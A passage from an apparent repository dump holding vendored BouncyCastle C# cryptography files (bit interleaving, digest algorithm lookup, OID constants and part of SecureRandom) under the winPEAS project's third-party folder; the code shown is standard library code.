    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.math.raw\n{\n    internal abstract class Bits\n    {\n        internal static uint BitPermuteStep(uint x, uint m, int s)\n        {\n            uint t = (x ^ (x >> s)) & m;\n            return (t ^ (t << s)) ^ x;\n        }\n\n        internal static ulong BitPermuteStep(ulong x, ulong m, int s)\n        {\n            ulong t = (x ^ (x >> s)) & m;\n            return (t ^ (t << s)) ^ x;\n        }\n\n        internal static uint BitPermuteStepSimple(uint x, uint m, int s)\n        {\n            return ((x & m) << s) | ((x >> s) & m);\n        }\n\n        internal static ulong BitPermuteStepSimple(ulong x, ulong m, int s)\n        {\n            return ((x & m) << s) | ((x >> s) & m);\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/math/raw/Interleave.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.math.raw\n{\n    internal abstract class Interleave\n    {\n        private const ulong M32 = 0x55555555UL;\n        private const ulong M64 = 0x5555555555555555UL;\n        private const ulong M64R = 0xAAAAAAAAAAAAAAAAUL;\n\n        /*\n         * This expands 8 bit indices into 16 bit contents (high bit 14), by inserting 0s between bits.\n         * In a binary field, this operation is the same as squaring an 8 bit number.\n         */\n        //private static readonly ushort[] INTERLEAVE2_TABLE = new ushort[]\n        //{\n        //    0x0000, 0x0001, 0x0004, 0x0005, 0x0010, 0x0011, 0x0014, 0x0015,\n        //    0x0040, 0x0041, 0x0044, 0x0045, 0x0050, 0x0051, 0x0054, 0x0055,\n        //    0x0100, 0x0101, 0x0104, 0x0105, 0x0110, 0x0111, 0x0114, 0x0115,\n        //    0x0140, 0x0141, 0x0144, 0x0145, 0x0150, 0x0151, 0x0154, 0x0155,\n        //    0x0400, 0x0401, 0x0404, 0x0405, 0x0410, 0x0411, 0x0414, 0x0415,\n        //    0x0440, 0x0441, 0x0444, 0x0445, 0x0450, 0x0451, 0x0454, 0x0455,\n        //    0x0500, 0x0501, 0x0504, 0x0505, 0x0510, 0x0511, 0x0514, 0x0515,\n        //    0x0540, 0x0541, 0x0544, 0x0545, 0x0550, 0x0551, 0x0554, 0x0555,\n        //    0x1000, 0x1001, 0x1004, 0x1005, 0x1010, 0x1011, 0x1014, 0x1015,\n        //    0x1040, 0x1041, 0x1044, 0x1045, 0x1050, 0x1051, 0x1054, 0x1055,\n        //    0x1100, 0x1101, 0x1104, 0x1105, 0x1110, 0x1111, 0x1114, 0x1115,\n        //    0x1140, 0x1141, 0x1144, 0x1145, 0x1150, 0x1151, 0x1154, 0x1155,\n        //    0x1400, 0x1401, 0x1404, 0x1405, 0x1410, 0x1411, 0x1414, 0x1415,\n        //    0x1440, 0x1441, 0x1444, 0x1445, 0x1450, 0x1451, 0x1454, 0x1455,\n        //    0x1500, 0x1501, 0x1504, 0x1505, 0x1510, 0x1511, 0x1514, 0x1515,\n        //    0x1540, 0x1541, 0x1544, 0x1545, 0x1550, 0x1551, 0x1554, 0x1555,\n        //    0x4000, 0x4001, 0x4004, 0x4005, 0x4010, 0x4011, 0x4014, 0x4015,\n        //    0x4040, 0x4041, 0x4044, 0x4045, 0x4050, 0x4051, 0x4054, 0x4055,\n        //    0x4100, 0x4101, 0x4104, 0x4105, 0x4110, 0x4111, 0x4114, 0x4115,\n        //    0x4140, 0x4141, 0x4144, 0x4145, 0x4150, 0x4151, 0x4154, 0x4155,\n        //    0x4400, 0x4401, 0x4404, 0x4405, 0x4410, 0x4411, 0x4414, 0x4415,\n        //    0x4440, 0x4441, 0x4444, 0x4445, 0x4450, 0x4451, 0x4454, 0x4455,\n        //    0x4500, 0x4501, 0x4504, 0x4505, 0x4510, 0x4511, 0x4514, 0x4515,\n        //    0x4540, 0x4541, 0x4544, 0x4545, 0x4550, 0x4551, 0x4554, 0x4555,\n        //    0x5000, 0x5001, 0x5004, 0x5005, 0x5010, 0x5011, 0x5014, 0x5015,\n        //    0x5040, 0x5041, 0x5044, 0x5045, 0x5050, 0x5051, 0x5054, 0x5055,\n        //    0x5100, 0x5101, 0x5104, 0x5105, 0x5110, 0x5111, 0x5114, 0x5115,\n        //    0x5140, 0x5141, 0x5144, 0x5145, 0x5150, 0x5151, 0x5154, 0x5155,\n        //    0x5400, 0x5401, 0x5404, 0x5405, 0x5410, 0x5411, 0x5414, 0x5415,\n        //    0x5440, 0x5441, 0x5444, 0x5445, 0x5450, 0x5451, 0x5454, 0x5455,\n        //    0x5500, 0x5501, 0x5504, 0x5505, 0x5510, 0x5511, 0x5514, 0x5515,\n        //    0x5540, 0x5541, 0x5544, 0x5545, 0x5550, 0x5551, 0x5554, 0x5555\n        //};\n\n        internal static uint Expand8to16(uint x)\n        {\n            x &= 0xFFU;\n            x = (x | (x << 4)) & 0x0F0FU;\n            x = (x | (x << 2)) & 0x3333U;\n            x = (x | (x << 1)) & 0x5555U;\n            return x;\n        }\n\n        internal static uint Expand16to32(uint x)\n        {\n            x &= 0xFFFFU;\n            x = (x | (x << 8)) & 0x00FF00FFU;\n            x = (x | (x << 4)) & 0x0F0F0F0FU;\n            x = (x | (x << 2)) & 0x33333333U;\n            x = (x | (x << 1)) & 0x55555555U;\n            return x;\n        }\n\n        internal static ulong Expand32to64(uint x)\n        {\n            // \"shuffle\" low half to even bits and high half to odd bits\n            x = Bits.BitPermuteStep(x, 0x0000FF00U, 8);\n            x = Bits.BitPermuteStep(x, 0x00F000F0U, 4);\n            x = Bits.BitPermuteStep(x, 0x0C0C0C0CU, 2);\n            x = Bits.BitPermuteStep(x, 0x22222222U, 1);\n\n            return ((x >> 1) & M32) << 32 | (x & M32);\n        }\n\n        internal static void Expand64To128(ulong x, ulong[] z, int zOff)\n        {\n            // \"shuffle\" low half to even bits and high half to odd bits\n            x = Bits.BitPermuteStep(x, 0x00000000FFFF0000UL, 16);\n            x = Bits.BitPermuteStep(x, 0x0000FF000000FF00UL, 8);\n            x = Bits.BitPermuteStep(x, 0x00F000F000F000F0UL, 4);\n            x = Bits.BitPermuteStep(x, 0x0C0C0C0C0C0C0C0CUL, 2);\n            x = Bits.BitPermuteStep(x, 0x2222222222222222UL, 1);\n\n            z[zOff] = (x) & M64;\n            z[zOff + 1] = (x >> 1) & M64;\n        }\n\n        internal static void Expand64To128(ulong[] xs, int xsOff, int xsLen, ulong[] zs, int zsOff)\n        {\n            for (int i = 0; i < xsLen; ++i)\n            {\n                Expand64To128(xs[xsOff + i], zs, zsOff);\n                zsOff += 2;\n            }\n        }\n\n        internal static void Expand64To128Rev(ulong x, ulong[] z, int zOff)\n        {\n            // \"shuffle\" low half to even bits and high half to odd bits\n            x = Bits.BitPermuteStep(x, 0x00000000FFFF0000UL, 16);\n            x = Bits.BitPermuteStep(x, 0x0000FF000000FF00UL, 8);\n            x = Bits.BitPermuteStep(x, 0x00F000F000F000F0UL, 4);\n            x = Bits.BitPermuteStep(x, 0x0C0C0C0C0C0C0C0CUL, 2);\n            x = Bits.BitPermuteStep(x, 0x2222222222222222UL, 1);\n\n            z[zOff] = (x) & M64R;\n            z[zOff + 1] = (x << 1) & M64R;\n        }\n\n        internal static uint Shuffle(uint x)\n        {\n            // \"shuffle\" low half to even bits and high half to odd bits\n            x = Bits.BitPermuteStep(x, 0x0000FF00U, 8);\n            x = Bits.BitPermuteStep(x, 0x00F000F0U, 4);\n            x = Bits.BitPermuteStep(x, 0x0C0C0C0CU, 2);\n            x = Bits.BitPermuteStep(x, 0x22222222U, 1);\n            return x;\n        }\n\n        internal static ulong Shuffle(ulong x)\n        {\n            // \"shuffle\" low half to even bits and high half to odd bits\n            x = Bits.BitPermuteStep(x, 0x00000000FFFF0000UL, 16);\n            x = Bits.BitPermuteStep(x, 0x0000FF000000FF00UL, 8);\n            x = Bits.BitPermuteStep(x, 0x00F000F000F000F0UL, 4);\n            x = Bits.BitPermuteStep(x, 0x0C0C0C0C0C0C0C0CUL, 2);\n            x = Bits.BitPermuteStep(x, 0x2222222222222222UL, 1);\n            return x;\n        }\n\n        internal static uint Shuffle2(uint x)\n        {\n            // \"shuffle\" (twice) low half to even bits and high half to odd bits\n            x = Bits.BitPermuteStep(x, 0x00AA00AAU, 7);\n            x = Bits.BitPermuteStep(x, 0x0000CCCCU, 14);\n            x = Bits.BitPermuteStep(x, 0x00F000F0U, 4);\n            x = Bits.BitPermuteStep(x, 0x0000FF00U, 8);\n            return x;\n        }\n\n        internal static uint Unshuffle(uint x)\n        {\n            // \"unshuffle\" even bits to low half and odd bits to high half\n            x = Bits.BitPermuteStep(x, 0x22222222U, 1);\n            x = Bits.BitPermuteStep(x, 0x0C0C0C0CU, 2);\n            x = Bits.BitPermuteStep(x, 0x00F000F0U, 4);\n            x = Bits.BitPermuteStep(x, 0x0000FF00U, 8);\n            return x;\n        }\n\n        internal static ulong Unshuffle(ulong x)\n        {\n            // \"unshuffle\" even bits to low half and odd bits to high half\n            x = Bits.BitPermuteStep(x, 0x2222222222222222UL, 1);\n            x = Bits.BitPermuteStep(x, 0x0C0C0C0C0C0C0C0CUL, 2);\n            x = Bits.BitPermuteStep(x, 0x00F000F000F000F0UL, 4);\n            x = Bits.BitPermuteStep(x, 0x0000FF000000FF00UL, 8);\n            x = Bits.BitPermuteStep(x, 0x00000000FFFF0000UL, 16);\n            return x;\n        }\n\n        internal static uint Unshuffle2(uint x)\n        {\n            // \"unshuffle\" (twice) even bits to low half and odd bits to high half\n            x = Bits.BitPermuteStep(x, 0x0000FF00U, 8);\n            x = Bits.BitPermuteStep(x, 0x00F000F0U, 4);\n            x = Bits.BitPermuteStep(x, 0x0000CCCCU, 14);\n            x = Bits.BitPermuteStep(x, 0x00AA00AAU, 7);\n            return x;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/oiw/OiwObjectIdentifiers.cs",
    "content": "﻿using winPEAS._3rdParty.BouncyCastle.asn1;\n\nnamespace winPEAS._3rdParty.BouncyCastle.oiw\n{\n\tpublic abstract class OiwObjectIdentifiers\n\t{\n\t\tpublic static readonly DerObjectIdentifier MD4WithRsa = new DerObjectIdentifier(\"1.3.14.3.2.2\");\n\t\tpublic static readonly DerObjectIdentifier MD5WithRsa = new DerObjectIdentifier(\"1.3.14.3.2.3\");\n\t\tpublic static readonly DerObjectIdentifier MD4WithRsaEncryption = new DerObjectIdentifier(\"1.3.14.3.2.4\");\n\n\t\tpublic static readonly DerObjectIdentifier DesEcb = new DerObjectIdentifier(\"1.3.14.3.2.6\");\n\t\tpublic static readonly DerObjectIdentifier DesCbc = new DerObjectIdentifier(\"1.3.14.3.2.7\");\n\t\tpublic static readonly DerObjectIdentifier DesOfb = new DerObjectIdentifier(\"1.3.14.3.2.8\");\n\t\tpublic static readonly DerObjectIdentifier DesCfb = new DerObjectIdentifier(\"1.3.14.3.2.9\");\n\n\t\tpublic static readonly DerObjectIdentifier DesEde = new DerObjectIdentifier(\"1.3.14.3.2.17\");\n\n\t\t// id-SHA1 OBJECT IDENTIFIER ::=\n\t\t//   {iso(1) identified-organization(3) oiw(14) secsig(3) algorithms(2) 26 }    //\n\t\tpublic static readonly DerObjectIdentifier IdSha1 = new DerObjectIdentifier(\"1.3.14.3.2.26\");\n\n\t\tpublic static readonly DerObjectIdentifier DsaWithSha1 = new DerObjectIdentifier(\"1.3.14.3.2.27\");\n\n\t\tpublic static readonly DerObjectIdentifier Sha1WithRsa = new DerObjectIdentifier(\"1.3.14.3.2.29\");\n\n\t\t// ElGamal Algorithm OBJECT IDENTIFIER ::=\n\t\t// {iso(1) identified-organization(3) oiw(14) dirservsig(7) algorithm(2) encryption(1) 1 }\n\t\t//\n\t\tpublic static readonly DerObjectIdentifier ElGamalAlgorithm = new DerObjectIdentifier(\"1.3.14.7.2.1.1\");\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/security/DigestUtilities.cs",
    "content": "﻿using System;\nusing System.Collections;\nusing winPEAS._3rdParty.BouncyCastle.asn1;\nusing winPEAS._3rdParty.BouncyCastle.asn1.cryptopro;\nusing winPEAS._3rdParty.BouncyCastle.asn1.gm;\nusing winPEAS._3rdParty.BouncyCastle.asn1.misc;\nusing winPEAS._3rdParty.BouncyCastle.asn1.nist;\nusing winPEAS._3rdParty.BouncyCastle.asn1.pkcs;\nusing winPEAS._3rdParty.BouncyCastle.asn1.rosstandart;\nusing winPEAS._3rdParty.BouncyCastle.asn1.teletrust;\nusing winPEAS._3rdParty.BouncyCastle.asn1.ua;\nusing winPEAS._3rdParty.BouncyCastle.crypto.digests;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\nusing winPEAS._3rdParty.BouncyCastle.oiw;\nusing winPEAS._3rdParty.BouncyCastle.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.security\n{\n    /// <remarks>\n    ///  Utility class for creating IDigest objects from their names/Oids\n    /// </remarks>\n    public sealed class DigestUtilities\n    {\n        private enum DigestAlgorithm\n        {\n            BLAKE2B_160, BLAKE2B_256, BLAKE2B_384, BLAKE2B_512,\n            BLAKE2S_128, BLAKE2S_160, BLAKE2S_224, BLAKE2S_256,\n            DSTU7564_256, DSTU7564_384, DSTU7564_512,\n            GOST3411,\n            GOST3411_2012_256, GOST3411_2012_512,\n            KECCAK_224, KECCAK_256, KECCAK_288, KECCAK_384, KECCAK_512,\n            MD2, MD4, MD5,\n            NONE,\n            RIPEMD128, RIPEMD160, RIPEMD256, RIPEMD320,\n            SHA_1, SHA_224, SHA_256, SHA_384, SHA_512,\n            SHA_512_224, SHA_512_256,\n            SHA3_224, SHA3_256, SHA3_384, SHA3_512,\n            SHAKE128, SHAKE256,\n            SM3,\n            TIGER,\n            WHIRLPOOL,\n        };\n\n        private DigestUtilities()\n        {\n        }\n\n        private static readonly IDictionary algorithms = Platform.CreateHashtable();\n        private static readonly IDictionary oids = Platform.CreateHashtable();\n\n        static DigestUtilities()\n        {\n            // Signal to obfuscation tools not to change enum constants\n            ((DigestAlgorithm)Enums.GetArbitraryValue(typeof(DigestAlgorithm))).ToString();\n\n            algorithms[PkcsObjectIdentifiers.MD2.Id] = \"MD2\";\n            algorithms[PkcsObjectIdentifiers.MD4.Id] = \"MD4\";\n            algorithms[PkcsObjectIdentifiers.MD5.Id] = \"MD5\";\n\n            algorithms[\"SHA1\"] = \"SHA-1\";\n            algorithms[OiwObjectIdentifiers.IdSha1.Id] = \"SHA-1\";\n            algorithms[PkcsObjectIdentifiers.IdHmacWithSha1.Id] = \"SHA-1\";\n            algorithms[MiscObjectIdentifiers.HMAC_SHA1.Id] = \"SHA-1\";\n            algorithms[\"SHA224\"] = \"SHA-224\";\n            algorithms[NistObjectIdentifiers.IdSha224.Id] = \"SHA-224\";\n            algorithms[PkcsObjectIdentifiers.IdHmacWithSha224.Id] = \"SHA-224\";\n            algorithms[\"SHA256\"] = \"SHA-256\";\n            algorithms[NistObjectIdentifiers.IdSha256.Id] = \"SHA-256\";\n            algorithms[PkcsObjectIdentifiers.IdHmacWithSha256.Id] = \"SHA-256\";\n            algorithms[\"SHA384\"] = \"SHA-384\";\n            algorithms[NistObjectIdentifiers.IdSha384.Id] = \"SHA-384\";\n            algorithms[PkcsObjectIdentifiers.IdHmacWithSha384.Id] = \"SHA-384\";\n            algorithms[\"SHA512\"] = \"SHA-512\";\n            algorithms[NistObjectIdentifiers.IdSha512.Id] = \"SHA-512\";\n            algorithms[PkcsObjectIdentifiers.IdHmacWithSha512.Id] = \"SHA-512\";\n            algorithms[\"SHA512/224\"] = \"SHA-512/224\";\n            algorithms[NistObjectIdentifiers.IdSha512_224.Id] = \"SHA-512/224\";\n            algorithms[\"SHA512/256\"] = \"SHA-512/256\";\n            algorithms[NistObjectIdentifiers.IdSha512_256.Id] = \"SHA-512/256\";\n\n            algorithms[\"RIPEMD-128\"] = \"RIPEMD128\";\n            algorithms[TeleTrusTObjectIdentifiers.RipeMD128.Id] = \"RIPEMD128\";\n            algorithms[\"RIPEMD-160\"] = \"RIPEMD160\";\n            algorithms[TeleTrusTObjectIdentifiers.RipeMD160.Id] = \"RIPEMD160\";\n            algorithms[\"RIPEMD-256\"] = \"RIPEMD256\";\n            algorithms[TeleTrusTObjectIdentifiers.RipeMD256.Id] = \"RIPEMD256\";\n            algorithms[\"RIPEMD-320\"] = \"RIPEMD320\";\n            //\t\t\talgorithms[TeleTrusTObjectIdentifiers.RipeMD320.Id] = \"RIPEMD320\";\n\n            algorithms[CryptoProObjectIdentifiers.GostR3411.Id] = \"GOST3411\";\n\n            algorithms[\"KECCAK224\"] = \"KECCAK-224\";\n            algorithms[\"KECCAK256\"] = \"KECCAK-256\";\n            algorithms[\"KECCAK288\"] = \"KECCAK-288\";\n            algorithms[\"KECCAK384\"] = \"KECCAK-384\";\n            algorithms[\"KECCAK512\"] = \"KECCAK-512\";\n\n            algorithms[NistObjectIdentifiers.IdSha3_224.Id] = \"SHA3-224\";\n            algorithms[NistObjectIdentifiers.IdHMacWithSha3_224.Id] = \"SHA3-224\";\n            algorithms[NistObjectIdentifiers.IdSha3_256.Id] = \"SHA3-256\";\n            algorithms[NistObjectIdentifiers.IdHMacWithSha3_256.Id] = \"SHA3-256\";\n            algorithms[NistObjectIdentifiers.IdSha3_384.Id] = \"SHA3-384\";\n            algorithms[NistObjectIdentifiers.IdHMacWithSha3_384.Id] = \"SHA3-384\";\n            algorithms[NistObjectIdentifiers.IdSha3_512.Id] = \"SHA3-512\";\n            algorithms[NistObjectIdentifiers.IdHMacWithSha3_512.Id] = \"SHA3-512\";\n            algorithms[NistObjectIdentifiers.IdShake128.Id] = \"SHAKE128\";\n            algorithms[NistObjectIdentifiers.IdShake256.Id] = \"SHAKE256\";\n\n            algorithms[GMObjectIdentifiers.sm3.Id] = \"SM3\";\n\n            algorithms[MiscObjectIdentifiers.id_blake2b160.Id] = \"BLAKE2B-160\";\n            algorithms[MiscObjectIdentifiers.id_blake2b256.Id] = \"BLAKE2B-256\";\n            algorithms[MiscObjectIdentifiers.id_blake2b384.Id] = \"BLAKE2B-384\";\n            algorithms[MiscObjectIdentifiers.id_blake2b512.Id] = \"BLAKE2B-512\";\n            algorithms[MiscObjectIdentifiers.id_blake2s128.Id] = \"BLAKE2S-128\";\n            algorithms[MiscObjectIdentifiers.id_blake2s160.Id] = \"BLAKE2S-160\";\n            algorithms[MiscObjectIdentifiers.id_blake2s224.Id] = \"BLAKE2S-224\";\n            algorithms[MiscObjectIdentifiers.id_blake2s256.Id] = \"BLAKE2S-256\";\n\n            algorithms[RosstandartObjectIdentifiers.id_tc26_gost_3411_12_256.Id] = \"GOST3411-2012-256\";\n            algorithms[RosstandartObjectIdentifiers.id_tc26_gost_3411_12_512.Id] = \"GOST3411-2012-512\";\n\n            algorithms[UAObjectIdentifiers.dstu7564digest_256.Id] = \"DSTU7564-256\";\n            algorithms[UAObjectIdentifiers.dstu7564digest_384.Id] = \"DSTU7564-384\";\n            algorithms[UAObjectIdentifiers.dstu7564digest_512.Id] = \"DSTU7564-512\";\n\n            oids[\"MD2\"] = PkcsObjectIdentifiers.MD2;\n            oids[\"MD4\"] = PkcsObjectIdentifiers.MD4;\n            oids[\"MD5\"] = PkcsObjectIdentifiers.MD5;\n            oids[\"SHA-1\"] = OiwObjectIdentifiers.IdSha1;\n            oids[\"SHA-224\"] = NistObjectIdentifiers.IdSha224;\n            oids[\"SHA-256\"] = NistObjectIdentifiers.IdSha256;\n            oids[\"SHA-384\"] = NistObjectIdentifiers.IdSha384;\n            oids[\"SHA-512\"] = NistObjectIdentifiers.IdSha512;\n            oids[\"SHA-512/224\"] = NistObjectIdentifiers.IdSha512_224;\n            oids[\"SHA-512/256\"] = NistObjectIdentifiers.IdSha512_256;\n            oids[\"SHA3-224\"] = NistObjectIdentifiers.IdSha3_224;\n            oids[\"SHA3-256\"] = NistObjectIdentifiers.IdSha3_256;\n            oids[\"SHA3-384\"] = NistObjectIdentifiers.IdSha3_384;\n            oids[\"SHA3-512\"] = NistObjectIdentifiers.IdSha3_512;\n            oids[\"SHAKE128\"] = NistObjectIdentifiers.IdShake128;\n            oids[\"SHAKE256\"] = NistObjectIdentifiers.IdShake256;\n            oids[\"RIPEMD128\"] = TeleTrusTObjectIdentifiers.RipeMD128;\n            oids[\"RIPEMD160\"] = TeleTrusTObjectIdentifiers.RipeMD160;\n            oids[\"RIPEMD256\"] = TeleTrusTObjectIdentifiers.RipeMD256;\n            oids[\"GOST3411\"] = CryptoProObjectIdentifiers.GostR3411;\n            oids[\"SM3\"] = GMObjectIdentifiers.sm3;\n            oids[\"BLAKE2B-160\"] = MiscObjectIdentifiers.id_blake2b160;\n            oids[\"BLAKE2B-256\"] = MiscObjectIdentifiers.id_blake2b256;\n            oids[\"BLAKE2B-384\"] = MiscObjectIdentifiers.id_blake2b384;\n            oids[\"BLAKE2B-512\"] = MiscObjectIdentifiers.id_blake2b512;\n            oids[\"BLAKE2S-128\"] = MiscObjectIdentifiers.id_blake2s128;\n            oids[\"BLAKE2S-160\"] = MiscObjectIdentifiers.id_blake2s160;\n            oids[\"BLAKE2S-224\"] = MiscObjectIdentifiers.id_blake2s224;\n            oids[\"BLAKE2S-256\"] = MiscObjectIdentifiers.id_blake2s256;\n            oids[\"GOST3411-2012-256\"] = RosstandartObjectIdentifiers.id_tc26_gost_3411_12_256;\n            oids[\"GOST3411-2012-512\"] = RosstandartObjectIdentifiers.id_tc26_gost_3411_12_512;\n            oids[\"DSTU7564-256\"] = UAObjectIdentifiers.dstu7564digest_256;\n            oids[\"DSTU7564-384\"] = UAObjectIdentifiers.dstu7564digest_384;\n            oids[\"DSTU7564-512\"] = UAObjectIdentifiers.dstu7564digest_512;\n        }\n\n        /// <summary>\n        /// Returns a ObjectIdentifier for a given digest mechanism.\n        /// </summary>\n        /// <param name=\"mechanism\">A string representation of the digest meanism.</param>\n        /// <returns>A DerObjectIdentifier, null if the Oid is not available.</returns>\n\n        public static DerObjectIdentifier GetObjectIdentifier(\n            string mechanism)\n        {\n            if (mechanism == null)\n                throw new System.ArgumentNullException(\"mechanism\");\n\n            mechanism = Platform.ToUpperInvariant(mechanism);\n            string aliased = (string)algorithms[mechanism];\n\n            if (aliased != null)\n                mechanism = aliased;\n\n            return (DerObjectIdentifier)oids[mechanism];\n        }\n\n        public static ICollection Algorithms\n        {\n            get { return oids.Keys; }\n        }\n\n        public static IDigest GetDigest(\n            DerObjectIdentifier id)\n        {\n            return GetDigest(id.Id);\n        }\n\n        public static IDigest GetDigest(\n            string algorithm)\n        {\n            string upper = Platform.ToUpperInvariant(algorithm);\n            string mechanism = (string)algorithms[upper];\n\n            if (mechanism == null)\n            {\n                mechanism = upper;\n            }\n\n            try\n            {\n                DigestAlgorithm digestAlgorithm = (DigestAlgorithm)Enums.GetEnumValue(\n                    typeof(DigestAlgorithm), mechanism);\n\n                switch (digestAlgorithm)\n                {\n                    case DigestAlgorithm.BLAKE2B_160: return new Blake2bDigest(160);\n                    case DigestAlgorithm.BLAKE2B_256: return new Blake2bDigest(256);\n                    case DigestAlgorithm.BLAKE2B_384: return new Blake2bDigest(384);\n                    case DigestAlgorithm.BLAKE2B_512: return new Blake2bDigest(512);\n                    case DigestAlgorithm.BLAKE2S_128: return new Blake2sDigest(128);\n                    case DigestAlgorithm.BLAKE2S_160: return new Blake2sDigest(160);\n                    case DigestAlgorithm.BLAKE2S_224: return new Blake2sDigest(224);\n                    case DigestAlgorithm.BLAKE2S_256: return new Blake2sDigest(256);\n                    case DigestAlgorithm.DSTU7564_256: return new Dstu7564Digest(256);\n                    case DigestAlgorithm.DSTU7564_384: return new Dstu7564Digest(384);\n                    case DigestAlgorithm.DSTU7564_512: return new Dstu7564Digest(512);\n                    case DigestAlgorithm.GOST3411: return new Gost3411Digest();\n                    case DigestAlgorithm.GOST3411_2012_256: return new Gost3411_2012_256Digest();\n                    case DigestAlgorithm.GOST3411_2012_512: return new Gost3411_2012_512Digest();\n                    case DigestAlgorithm.KECCAK_224: return new KeccakDigest(224);\n                    case DigestAlgorithm.KECCAK_256: return new KeccakDigest(256);\n                    case DigestAlgorithm.KECCAK_288: return new KeccakDigest(288);\n                    case DigestAlgorithm.KECCAK_384: return new KeccakDigest(384);\n                    case DigestAlgorithm.KECCAK_512: return new KeccakDigest(512);\n                    case DigestAlgorithm.MD2: return new MD2Digest();\n                    case DigestAlgorithm.MD4: return new MD4Digest();\n                    case DigestAlgorithm.MD5: return new MD5Digest();\n                    case DigestAlgorithm.NONE: return new NullDigest();\n                    case DigestAlgorithm.RIPEMD128: return new RipeMD128Digest();\n                    case DigestAlgorithm.RIPEMD160: return new RipeMD160Digest();\n                    case DigestAlgorithm.RIPEMD256: return new RipeMD256Digest();\n                    case DigestAlgorithm.RIPEMD320: return new RipeMD320Digest();\n                    case DigestAlgorithm.SHA_1: return new Sha1Digest();\n                    case DigestAlgorithm.SHA_224: return new Sha224Digest();\n                    case DigestAlgorithm.SHA_256: return new Sha256Digest();\n                    case DigestAlgorithm.SHA_384: return new Sha384Digest();\n                    case DigestAlgorithm.SHA_512: return new Sha512Digest();\n                    case DigestAlgorithm.SHA_512_224: return new Sha512tDigest(224);\n                    case DigestAlgorithm.SHA_512_256: return new Sha512tDigest(256);\n                    case DigestAlgorithm.SHA3_224: return new Sha3Digest(224);\n                    case DigestAlgorithm.SHA3_256: return new Sha3Digest(256);\n                    case DigestAlgorithm.SHA3_384: return new Sha3Digest(384);\n                    case DigestAlgorithm.SHA3_512: return new Sha3Digest(512);\n                    case DigestAlgorithm.SHAKE128: return new ShakeDigest(128);\n                    case DigestAlgorithm.SHAKE256: return new ShakeDigest(256);\n                    case DigestAlgorithm.SM3: return new SM3Digest();\n                    case DigestAlgorithm.TIGER: return new TigerDigest();\n                    case DigestAlgorithm.WHIRLPOOL: return new WhirlpoolDigest();\n                }\n            }\n            catch (ArgumentException)\n            {\n            }\n\n            throw new SecurityUtilityException(\"Digest \" + mechanism + \" not recognised.\");\n        }\n\n        public static string GetAlgorithmName(\n            DerObjectIdentifier oid)\n        {\n            return (string)algorithms[oid.Id];\n        }\n\n        public static byte[] CalculateDigest(DerObjectIdentifier id, byte[] input)\n        {\n            return CalculateDigest(id.Id, input);\n        }\n\n        public static byte[] CalculateDigest(string algorithm, byte[] input)\n        {\n            IDigest digest = GetDigest(algorithm);\n            digest.BlockUpdate(input, 0, input.Length);\n            return DoFinal(digest);\n        }\n\n        public static byte[] DoFinal(\n            IDigest digest)\n        {\n            byte[] b = new byte[digest.GetDigestSize()];\n            digest.DoFinal(b, 0);\n            return b;\n        }\n\n        public static byte[] DoFinal(\n            IDigest digest,\n            byte[] input)\n        {\n            digest.BlockUpdate(input, 0, input.Length);\n            return DoFinal(digest);\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/security/SecureRandom.cs",
    "content": "﻿using System;\nusing System.Threading;\nusing winPEAS._3rdParty.BouncyCastle.crypto.prng;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.security\n{\n    public class SecureRandom\n      : Random\n    {\n        private static long counter = Times.NanoTime();\n\n#if NETCF_1_0 || PORTABLE\n        private static object counterLock = new object();\n        private static long NextCounterValue()\n        {\n            lock (counterLock)\n            {\n                return ++counter;\n            }\n        }\n\n        private static readonly SecureRandom[] master = { null };\n        private static SecureRandom Master\n        {\n            get\n            {\n                lock (master)\n                {\n                    if (master[0] == null)\n                    {\n                        SecureRandom sr = master[0] = GetInstance(\"SHA256PRNG\", false);\n\n                        // Even though Ticks has at most 8 or 14 bits of entropy, there's no harm in adding it.\n                        sr.SetSeed(DateTime.Now.Ticks);\n\n                        // 32 will be enough when ThreadedSeedGenerator is fixed.  Until then, ThreadedSeedGenerator returns low\n                        // entropy, and this is not sufficient to be secure. http://www.bouncycastle.org/csharpdevmailarchive/msg00814.html\n                        sr.SetSeed(new ThreadedSeedGenerator().GenerateSeed(32, true));\n                    }\n\n                    return master[0];\n                }\n            }\n        }\n#else\n        private static long NextCounterValue()\n        {\n            return Interlocked.Increment(ref counter);\n        }\n\n        private static readonly SecureRandom master = new SecureRandom(new CryptoApiRandomGenerator());\n        private static SecureRandom Master\n        {\n            get { return master; }\n        }\n#endif\n\n        private static DigestRandomGenerator CreatePrng(string digestName, bool autoSeed)\n        {\n            IDigest digest = DigestUtilities.GetDigest(digestName);\n            if (digest == null)\n                return null;\n            DigestRandomGenerator prng = new DigestRandomGenerator(digest);\n            if (autoSeed)\n            {\n                prng.AddSeedMaterial(NextCounterValue());\n                prng.AddSeedMaterial(GetNextBytes(Master, digest.GetDigestSize()));\n            }\n            return prng;\n        }\n\n        public static byte[] GetNextBytes(SecureRandom secureRandom, int length)\n        {\n            byte[] result = new byte[length];\n            secureRandom.NextBytes(result);\n            return result;\n        }\n\n        /// <summary>\n        /// Create and auto-seed an instance based on the given algorithm.\n        /// </summary>\n        /// <remarks>Equivalent to GetInstance(algorithm, true)</remarks>\n        /// <param name=\"algorithm\">e.g. \"SHA256PRNG\"</param>\n        public static SecureRandom GetInstance(string algorithm)\n        {\n            return GetInstance(algorithm, true);\n        }\n\n        /// <summary>\n        /// Create an instance based on the given algorithm, with optional auto-seeding\n        /// </summary>\n        /// <param name=\"algorithm\">e.g. \"SHA256PRNG\"</param>\n        /// <param name=\"autoSeed\">If true, the instance will be auto-seeded.</param>\n        public static SecureRandom GetInstance(string algorithm, bool autoSeed)\n        {\n            string upper = Platform.ToUpperInvariant(algorithm);\n            if (Platform.EndsWith(upper, \"PRNG\"))\n            {\n                string digestName = upper.Substring(0, upper.Length - \"PRNG\".Length);\n                DigestRandomGenerator prng = CreatePrng(digestName, autoSeed);\n                if (prng != null)\n             